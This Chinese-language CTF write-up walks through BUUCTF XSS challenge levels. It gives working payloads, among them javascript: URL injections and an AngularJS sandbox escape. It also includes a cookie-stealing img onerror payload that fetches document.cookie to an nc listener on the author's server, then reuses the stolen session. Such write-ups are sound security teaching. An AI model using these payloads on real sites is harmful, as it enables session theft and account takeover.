XSS

D0wnBe@t Lv4

例题

[第二章 web进阶]XSS闯关

题目链接:[BUUCTF在线评测](https://buuoj.cn/challenges#[第二章 web进阶]XSS闯关)

  • 根据提示直接开始游戏,利用alert函数即可

非预期

既然知道是个闯关游戏,那我们直接试level即可,到第七关的时候就有flag了

1
n1book{xss_is_so_interesting}

预期

  • 第一关

直接利用script标签加上alert函数即可

1
<script>alert("xss")</script>

  • 第二关

用同样的方法发现打不通了,于是看源代码,发现有下面一段加密

1
2
3
4
5
6
7
8
</span></div></div></div></div></div></div>
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = 'xss';
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>

判断 location.search 参数

1
2
3
if(location.search == ""){
location.search = "?username=xss"
}
  • 如果 URL 中没有查询参数,自动追加 ?username=xss,将 username 默认设置为 xss

变量声明

1
var username = 'xss';
  • 这里硬编码了一个变量 username,值为 'xss'

DOM 操作

1
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
  • username 的值拼接到字符串中,并赋值给页面中 id="ccc" 的元素。
  • 使用 escape()username 进行简单编码,试图减小注入的风险。
漏洞:

escape() 并不是一种可靠的防护机制,尤其是针对现代浏览器。

它无法编码 "(双引号)或 '(单引号),也不会对 HTML 元素标签进行特殊处理。

因此,如果用户通过 URL 参数注入类似以下内容,可能触发 XSS:

1
<script>alert('XSS');</script>

也就是说我们可以通过注释来绕过escape()

1
username=';alert(1);'

  • 第三关

测试第二关的payload,发现不行,查看发送payload后源代码:

1
2
3
4
5
6
7
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = '\';alert(1);'';
document.getElementById('ccc').innerHTML= "Welcome " + username;
</script>

很明显可以发现'被\转义了,那我们试试img标签

1
username=<img src=x onerror=alert(1)>

onerror=alert(1):这是一个 事件处理器,当图片加载失败时,浏览器会触发 onerror 中的代码

  • 第四关

进来就在一直循环,查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
  <script type="text/javascript">
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href; // 未提供 jumpUrl 参数,默认跳转到当前页面
}else{
jumpUrl = getQueryVariable('jumpUrl'); // 从 URL 参数中获取 jumpUrl 的值
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl; // 倒计时结束,跳转到 jumpUrl
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time); // 再次调用 jump 函数,继续倒计时
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&"); // 按 `&` 分割参数
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("="); // 按 `=` 分割键值对
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>

这段 JavaScript 实现了一个倒计时跳转功能,通过 URL 参数指定跳转的目标地址 (jumpUrl)。如果未提供 jumpUrl 参数,则默认跳转到当前页面。

  1. 倒计时显示: 页面会显示倒计时,提示用户剩余的时间和即将跳转的目标地址。
  2. 跳转逻辑
    • 倒计时结束后,页面会跳转到指定的 URL。

使用第三关的payload无法达成目的,那就将jumpUrl直接复制一个javascript代码:

1
jumpUrl=javascript:alert(1)

  • 第五关

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  <script type="text/javascript">
// 使用 getQueryVariable('autosubmit') 检查当前 URL 是否包含 autosubmit 参数。
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
// 表单的 action 动态从查询参数 action 获取。
// 如果没有提供 action 参数,则默认为当前页面的 URL (location.href)。
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{

}
// 解析当前页面的 URL 查询参数,并根据传入的参数名返回对应的值。
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>

代码流程

  1. 用户访问 URL,例如:

    1
    http://example.com/?autosubmit=true&action=http://malicious.com
  2. autosubmit 参数存在且不为 false,触发表单自动提交逻辑。

  3. 表单 action 被动态设置为 http://malicious.com

  4. 表单自动提交到指定的 action URL。

那么很简单了,照着第四关直接写action

1
autosubmit=true&action=javascript:alert(1)

  • 第六关

AngularJS XSS漏洞

参考文章:https://nosec.org/home/detail/4153.html

https://xz.aliyun.com/t/4638?time__1311=n4%2Bxni0Qi%3DY6DCDlxGrbDymDRiWCqj%3Djdx

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

<html lang="zh"><head>
<meta charset="UTF-8">
<title>XSS配套测试平台</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
<script type="text/javascript" src="main.js"></script>
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
<style>
html, body, .app-wrapper {
position: relative;
width: 100%;
height: 100%;
margin: 0;
padding: 0;
}
</style>
</head>
<body>
<div id="root" class="app-wrapper amis-scope" ng-app=""><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">welcome xss</span></div></div></div></div></div></div>
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
</script>

</body></html>
  • 关键点其实是在上面的:
1
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>

尝试输入一个{{2*2}},发现返回是4,说明可能有模板注入

根据参考文章找个payload直接一把梭

1
username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

  • 然后就有flag了

BUU XSS COURSE 1

  • 进入网址发现登录不上,那么便从吐槽页面入手

  • 照常先用简单的两个标签测试一下:
1
2
<script>alert(1)</script>
<img src="x">

第一条语句没回显,但是第二个img标签是有回显的,那么后面就拿img标签来写:

  • 我们在云服务器先启一个监听,然后利用xss带出cookie看一看:
1
nc -lvnp 8000
1
<img src=x onerror="fetch('http://服务器ip:8000/?cookie='+document.cookie)">

这个payload的意思是:

onerror 事件触发:当图片加载失败时,触发 onerror 事件。

使用 fetch 发送数据

  • fetch 是现代浏览器支持的简洁 API,可用于向服务器发送请求。
  • document.cookie 直接获取当前页面的 Cookie。

发送 Cookie 到你的服务器

  • cookie 附加到 URL,便于你的服务器接收和记录。
  • 我们查看服务器:

我们可以看到这个cookie是从当前web端获得的,可以猜测这是一个登录成功用户的cookie,下面的Referer表示我们是从那个页面跳转过来的,我们去查看一下那个页面:

  • 提醒我们没登陆,那么简单,我们抓包修改cookie为云服务器收到的cookie即可:

为什么不在一个目录却用的是同一个cookie

  • 标题: XSS
  • 作者: D0wnBe@t
  • 创建于 : 2024-11-20 21:16:38
  • 更新于 : 2024-11-22 16:12:50
  • 链接: http://downbeat.top/2024/11/20/XSS/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论